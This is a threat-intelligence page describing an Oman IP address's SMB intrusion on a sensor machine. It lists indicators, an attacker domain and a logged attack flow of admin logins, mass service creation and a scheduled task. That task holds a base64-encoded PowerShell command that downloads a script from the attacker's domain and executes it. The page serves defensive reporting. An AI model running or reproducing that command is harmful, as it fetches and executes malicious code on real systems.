Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 37.41.72.228Malicious

IP Address: 37.41.72.228Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Listening Service Creation SMB PowerShell Service Start CMD Scheduled Task Creation IDS - A Network Trojan was detected Successful SMB Login SMB Null Session Login File Operation By CMD Access Suspicious Domain DNS Query SMB Share Connect

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

37.41.72.228

Domain

-

ISP

-

Country

Oman

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-05-10

Last seen in Akamai Guardicore Segmentation

2023-05-14

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named zTZs under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 13 times

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named iSLo under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named xUAX under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named tOqI under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named Fhlg under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named yonO under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named kUio under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named obwA under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named fHtD under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named XiAh under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named wknQ under service group None

Service Start Service Creation

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